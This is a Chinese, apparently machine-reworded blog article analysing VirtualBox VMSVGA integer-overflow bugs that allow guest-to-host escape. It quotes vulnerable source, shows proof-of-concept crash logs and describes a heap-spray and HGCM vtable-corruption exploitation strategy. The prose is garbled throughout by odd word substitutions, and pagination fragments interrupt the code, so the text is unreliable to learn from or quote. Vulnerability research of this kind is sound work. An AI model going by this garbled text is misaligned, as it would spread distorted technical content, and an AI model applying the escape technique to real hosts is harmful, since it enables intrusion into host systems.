VirtualBox VMSVGA多个虚拟机逃逸漏洞分析

要对HGCM连接进行初始化,必要应用VMM虚拟PCI设备进行

VirtualBox模拟VMware虚拟SVGA设备,其接口的具体信息和编程模型可从收集上公开获取别的,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述此外,Kostya Kortchinsky宣布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,具体先容了若何使用VMware SVGA设备中的破绽进行VM逃逸

Oracle在2015年一月的紧张补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)在文章《经由过程硬件仿真进击虚拟机治理法度榜样》中,供给了有关VirtualBox中VMSVGA破绽的一些细节

值得留意的是,因为VMSVGA设备在默认环境下未启用,以是受影响的用户可能异常有限然则,用户可以根据VBoxManage文档中的阐明启用该功能

VBoxManage modifyvm VMNAME –graphicscontroller vmsvga

Oracle在2017年7月和2017年10月的紧张补丁更新中,修复了VMSVGA破绽CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些破绽是由我发明并申报的别的,来自360 Gear团队的李强也同时自力发清楚明了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个破绽在这篇博客文章中,具体先容了此中的一些问题,并演示若何使用这些破绽实现虚拟机逃逸

我们在macOS情况的VirtualBox 5.1.22版本中进行了阐发Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel历程存在整数溢出漏洞(CVE-2017-10210)

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,

SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,

SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)

{

. . .

/* cFaces must be 6 for a cubemap and 1 otherwise. */

AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);

AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);

. . .

}

在应用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的谋略结果“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE敕令通报的SVGA3dSize布局的数量,例如2 == 6 * 0x2aaaaaab

用于其它多个敕令中的face[0].numMipLevels值是导致内存毁坏的首恶在CVE-2017-10210的PoC中,应用了SVGA_3D_CMD_SURFACE_DESTROY敕令来演示内存毁坏,终极导致free()无效

int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)

{

. . .

if (pSurface->pMipmapLevels)

{

for (uint32_t face=0; face cFaces; face++)

{

for (uint32_t i=0; i faces[face].numMipLevels; i++)

{

uint32_t idx = i + face * pSurface->faces[0].numMipLevels;

if (pSurface->pMipmapLevels[idx].pSurfaceData)

RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);

}

}

RTMemFree(pSurface->pMipmapLevels);

}

. . .

}

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc

[sudo] password for renorobert:

poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE…

poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY…

[lldbinit] process attach –pid 57984

[-] warning: get_frame() failed. Is the target binary started?

Process 57984 stopped

* thread #1, queue = ‘com.apple.main-thread’, stop reason = signal SIGSTOP

frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10

Target 0: (VirtualBoxVM) stopped.

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

Executable module set to “/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM”.

Architecture set to: x86_64h-apple-macosx.

[lldbinit] c

Process 57984 resuming

———————————————————————————————————————–[regs]

RAX: 0x0000000000000000RBX: 0x000070000E657000RBP: 0x000070000E656CC0RSP: 0x000070000E656C88o d I t s z a P c

RDI: 0x000000000000DB0BRSI: 0x0000000000000006RDX: 0x0000000000000000RCX: 0x000070000E656C88RIP: 0x00007FFF5F9B7B66

R8:0x0000000000000000R9:0x0000000000000000R10: 0x0000000000000000R11: 0x0000000000000206R12: 0x000000000000DB0B

R13: 0x0000000000000004R14: 0x0000000000000006R15: 0x000000000000002D

CS:0007FS: 0000GS: 0000Jump is taken (c = 0)

———————————————————————————————————————–[flow]

———————————————————————————————————————–[code]

__pthread_kill @ libsystem_kernel.dylib:

0x7fff5f9b7b66: 73 08jae0x7fff5f9b7b70;

0x7fff5f9b7b68: 48 89 c7movrdi, rax

0x7fff5f9b7b6b: e9 79 6f ff ffjmp0x7fff5f9aeae9; cerror_nocancel

0x7fff5f9b7b70: c3ret

0x7fff5f9b7b71: 90nop

0x7fff5f9b7b72: 90nop

0x7fff5f9b7b73: 90nop

__pthread_markcancel @ libsystem_kernel.dylib:

0x7fff5f9b7b74: b8 4c 01 00 02moveax, 0x200014c

—————————————————————————————————————————–

Process 57984 stopped

* thread #21, name = ‘VMSVGA FIFO’, stop reason = signal SIGABRT

frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10

Target 0: (VirtualBoxVM) stopped.

[lldbinit] bt

* thread #21, name = ‘VMSVGA FIFO’, stop reason = signal SIGABRT

* frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10

frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333

frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127

frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521

frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305

frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682

frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115

frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44

frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194

frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340

frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377

frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13

[lldbinit]

vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)

/* Allocate buffer to hold the surface data until we can move it into a D3D object */

for (uint32_t i = 0; i pMipmapLevels[i];

. . .

pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;

pMipmapLevel->cbSurface= pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

pMipmapLevel->pSurfaceData= RTMemAllocZ(pMipmapLevel->cbSurface);

AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);

}

在这里,因为“paMipLevelSizes”值完全由Guest节制,是以“cbSurfacePitch”和“cbSurface”的谋略可能会孕育发生溢出因为“cbSurface”的谋略存在问题,进一步导致RTMemAllocZ终极分配的缓冲区大年夜小比实际必要的要少在其他SVGA敕令中应用“pSurfaceData”时代,可能会发生越界读/写的环境针对该破绽供给的PoC仅演示了无效分配,可以在调试器中察看到这一点,不会触发任何崩溃然则,这一破绽随后将会在完备的VM逃逸破绽使用中应用到

vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,

uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)

{

. . .

for (unsigned i = 0; ipMipLevel->size.width)

paBoxes[i].w = pMipLevel->size.width – paBoxes[i].x;

if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)

paBoxes[i].h = pMipLevel->size.height – paBoxes[i].y;

if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)

paBoxes[i].d = pMipLevel->size.depth – paBoxes[i].z;

if (!paBoxes[i].w

||!paBoxes[i].h

||!paBoxes[i].d

||paBoxes[i].x > pMipLevel->size.width

||paBoxes[i].y > pMipLevel->size.height

||paBoxes[i].z > pMipLevel->size.depth)

{

. . .

continue;

}

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;

AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);

. . .

}

在这一破绽中,首先对付“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕干预干与题因为整数溢出,是以也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证我们在多个位置都发清楚明了类似的代码模式“uDestOffset”用于在调用vmsvgaGMRTransfer时代谋略“pBufferStart”参数,以是验证掉效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入该破绽的PoC将造访内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃可以经由过程堆喷射并分配可造访内存区域的措施来使用这一破绽

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make

gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc

[sudo] password for renorobert:

[lldbinit] process attach –pid 14518

[-] warning: get_frame() failed. Is the target binary started?

Process 14518 stopped

* thread #1, queue = ‘com.apple.main-thread’, stop reason = signal SIGSTOP

frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10

Target 0: (VirtualBoxVM) stopped.

Executable module set to “/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM”.

Architecture set to: x86_64h-apple-macosx.

[lldbinit] c

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

Process 14518 resuming

———————————————————————————————————————–[regs]

RAX: 0x00007F976656CEB8RBX: 0x0000000111C1C000RBP: 0x00007000066CAC10RSP: 0x00007000066CAC10o d I t s Z a P c

RDI: 0x00007F976656CEB8RSI: 0x0000000111C1C000RDX: 0x0000000000000000RCX: 0x4141414141414141RIP: 0x00007FFF5FB78FD0

R8:0x4141414141414141R9:0x0000000000000000R10: 0x00000000FFFFFFFER11: 0x00007F9654950EB8R12: 0x0000000000000000

R13: 0x0000000000000001R14: 0x00007F976656CEB8R15: 0x0000000000000001

CS:002BFS: 0000GS: 0000

———————————————————————————————————————–[flow]

———————————————————————————————————————–[code]

_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:

0x7fff5fb78fd0: 48 89 0fmovqword ptr [rdi], rcx

0x7fff5fb78fd3: 4c 89 04 17movqword ptr [rdi + rdx], r8

0x7fff5fb78fd7: 5dpoprbp

0x7fff5fb78fd8: c3ret

0x7fff5fb78fd9: 48 83 c2 08addrdx, 0x8

0x7fff5fb78fdd: 74 25je0x7fff5fb79004;

0x7fff5fb78fdf: 4d 31 c0xorr8, r8

0x7fff5fb78fe2: 42 8a 0c 06movcl, byte ptr [rsi + r8]

—————————————————————————————————————————–

Process 14518 stopped

* thread #21, name = ‘VMSVGA FIFO’, stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)

frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176

Target 0: (VirtualBoxVM) stopped.

[lldbinit] vmmap -a 0x00007F976656CEB8

[lldbinit] bt

* thread #21, name = ‘VMSVGA FIFO’, stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)

* frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176

frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671

frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861

frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897

frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115

frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44

frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194

frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340

frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377

frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13

[lldbinit]

vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)

int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,

SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)

{

. . .

AssertMsgReturn(offSrc + cbSrcPitch * (cHeight – 1) + cbWidth vram_size,

(“src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n”,

src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

VERR_INVALID_PARAMETER);

uint8_t *pSrc= pThis->CTX_SUFF(vram_ptr) + offSrc;

. . .

}

此中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的反省,这将会导致与VRAM相关的越界读取或越界写入vmsvgaGMRTransfer可以由多个SVGA敕令应用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等

在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”是以,写入的位置只能从VRAM缓冲区内开始然则,“offsetSource”终极可以在受节制的偏移量处指向越过VRAM缓冲区的位置,从而靠得住地供给信息泄露破绽

case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:

{

. . .

unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;

unsigned offsetDest= (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;

unsigned cbCopyWidth= (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

AssertBreak(offsetDest vram_size);

rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);

该破绽供给的PoC应用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对付VRAM的OOB造访

破绽使用

在上述的多个破绽中,供给了许多组合和原语我选择应用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的破绽来演示完备的VM逃逸:

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,

SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,

SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)

{

. . .

/* Allocate buffer to hold the surface data until we can move it into a D3D object */

for (uint32_t i = 0; i pMipmapLevels[i];

. . .

pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;

pMipmapLevel->cbSurface= pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;

pMipmapLevel->pSurfaceData= RTMemAllocZ(pMipmapLevel->cbSurface);

AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);

}

. . .

}

vmsvga3dSurfaceDefine()中存在的破绽,容许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置异常大年夜的值,但终极只必要分配所需大年夜小的堆块这一点对付进一步使用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说异常有赞助

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,

uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)

{

. . .

for (unsigned i = 0; ipMipLevel->size.width)

paBoxes[i].w = pMipLevel->size.width – paBoxes[i].x;

if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)

paBoxes[i].h = pMipLevel->size.height – paBoxes[i].y;

if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

paBoxes[i].d = pMipLevel->size.depth – paBoxes[i].z;

if (!paBoxes[i].w

||!paBoxes[i].h

||!paBoxes[i].d

||paBoxes[i].x > pMipLevel->size.width

||paBoxes[i].y > pMipLevel->size.height

||paBoxes[i].z > pMipLevel->size.depth)

{

. . .

continue;

}

. . .

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;

AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);

. . .

rc = vmsvgaGMRTransfer(pThis,

transfer,

. . .

paBoxes[i].w * pSurface->cbBlock,

paBoxes[i].d * paBoxes[i].h);

. . .

}

因为pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为异常大年夜的值,是以可以绕过涉及paBoxes的第一次反省后续,这些值将用于谋略“uDestOffset”,可以设置为随意率性值

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;

然则,其后有一个验证:

AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);

举例来说:

uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) cbSurface

在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于谋略memcpy()调用的大年夜小参数为了使大年夜小调剂为一个合理的值,我们将uDestOffset设置为一个较大年夜的值,从而容许读取/写入一个间隔外面分配约4GB的偏移量

为了使用这个破绽,有两个问题必要办理:

1、从外面分配偏移约4GB的内存;

2、在这个伟大年夜偏移量的分配内存中,应该存在指针毁坏,从而导致代码履行

在macOS中,共有三种类型的分配: Tiny、Small和LargeTiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000上述二者堆分配中的任何一个都能够进行破绽使用

我选择的是Tiny类型堆分配,主要由于,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会因为代码履行而被破坏然则,应用Tiny类型的分配来喷射(Spray)全部4GB内存是一个异常迟钝的历程macOS支持最大年夜127KB的Small分配是以,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并削减Tiny块堆喷射的数量

分配Tiny块

对付Tiny块,我将目标放在针对HGCM(Host-Guest通信治理器)履行的分配上关于HGCM的具体信息,可以参考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf

针对这个破绽,我习气应用HGCM连接工具,然落后行喷射设备的BAR0保存用于HGCM通信的I/O端口地址无论何时启动HGCM连接,都邑在内存平分配大年夜小为72字节的HGCMClient工具,并返回客户端ID下面是HGCMClient工具的示例:

typedef struct _AVLULNodeCore

{

AVLULKEYKey;/** Key value. */

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

struct _AVLULNodeCore*pLeft;/** Pointer to left leaf node. */

struct _AVLULNodeCore*pRight;/** Pointer to right leaf node. */

unsigned charuchHeight;/** Height of this tree: max(height(left), height(right)) + 1 */

} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

typedef struct _ObjectAVLCore

{

AVLULNODECORE AvlCore;

void *pSelf;// type HGCMObject

} ObjectAVLCore;

struct HGCMClient {

void *vptr_HGCMObject;

uint32_t m_cRefs;

uint32_t m_enmObjType;// HGCMOBJ_TYPE enum

ObjectAVLCore m_core;

void *pService;// type HGCMService

void *pvData;

uint64_t padding;

} HGCMClient;

HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成这些客户端工具应用AVL树进行掩护,此中的节点包孕客户端ID,并且还包孕指向工具本身的指针在破绽使用时代,我们必要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点时代发生任何崩溃此外,我们可能会毁坏HGCMClient的vtable,以得到RIP节制

HGCMClient工具的删除发生在HGCM断开连接时代,由HGCMService::DisconnectClient进行处置惩罚,此中应用到了毁坏的vtable

int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)

{

. . .

HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);

AssertRelease(pMsg);

pMsg->u32ClientId = u32ClientId;

hgcmObjDereference(pMsg);// use of corrupted vtable on deletion

. . .

}

分配Small块

为了能更高效地添补4GB,与Tiny块比拟,Small块显然是更好的选择SVGA_3D_CMD_SURFACE_DEFINE敕令可用于分配随意率性大年夜小的块

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,

SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,

SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)

{

. . .

AssertReturn(sid papSurfaces[sid];

/* If one already exists with this id, then destroy it now. */

if (pSurface->id != SVGA3D_INVALID_ID)

vmsvga3dSurfaceDestroy(pThis, sid);

. . .

}

vmsvga3dSurfaceDefine()容许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个独一的外面分配针对大年夜小为127KB的外面,这样的限定足以让我们添补约4GB因为页是分配给堆的较低地址,是以最开始必要分配HGCMClient工具,然后才是外面分配在进行堆喷射后,内存结构如下图所示:

喷射前的内存结构

Stack00007000060c1000-0000700006143000thread 29

MALLOC_TINY00007ff16b400000-00007ff16b500000 [ 1024K684K684K316K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16b500000-00007ff16b700000 [ 2048K792K792K1256K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16b700000-00007ff16b800000 [ 1024K840K840K184K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

MALLOC_SMALL00007ff16b800000-00007ff16c06d000 [ 8628K1332K1332K2160K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL (empty)00007ff16c06d000-00007ff16c06e000 [4K4K4K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff16c06e000-00007ff16d800000 [ 23.6M2600K2600K4288K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16d800000-00007ff16d900000 [ 1024K484K484K540K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16d900000-00007ff16da00000 [ 1024K364K364K660K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16da00000-00007ff16dc00000 [ 2048K20K20K12K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff16dc00000-00007ff16de00000 [ 2048K20K20K24K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY (empty)00007ff16de00000-00007ff16df00000 [ 1024K8K8K8K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY00007ff16df00000-00007ff16e000000 [ 1024K448K448K492K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL (empty)00007ff16e000000-00007ff16e800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_SMALL00007ff16e800000-00007ff16f000000 [ 8192K8K8K240K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_SMALL (empty)00007ff16f000000-00007ff170000000 [ 16.0M8K8K172K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY (empty)00007ff170000000-00007ff170100000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff170100000-00007ff170200000 [ 1024K368K368K60K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY (empty)00007ff170200000-00007ff170300000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff170300000-00007ff170400000 [ 1024K4K4K20K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY00007ff170400000-00007ff170600000 [ 2048K84K84K948K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff170800000-00007ff171000000 [ 8192K4K4K96K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_SMALL00007ff171000000-00007ff171800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

STACK GUARD00007ffee50b0000-00007ffee88b0000 [ 56.0M0K0K0K] —/rwx SM=NULstack guard for thread 0

喷射后的内存结构

Stack000070000624a000-00007000062cc000 [520K12K12K0K] rw-/rwx SM=PRVthread 35

MALLOC_SMALL00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff08b400000-00007ff08b500000 [ 1024K244K244K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff0c2800000-00007ff0c3000000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff0ec800000-00007ff0ed000000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M2588K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff0fb400000-00007ff0fb500000 [ 1024K184K184K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff12b400000-00007ff12b500000 [ 1024K936K936K4K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff139000000-00007ff139800000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff139800000-00007ff13b000000 [ 24.0M23.6M23.6M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff13b400000-00007ff13b500000 [ 1024K1016K1016K8K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

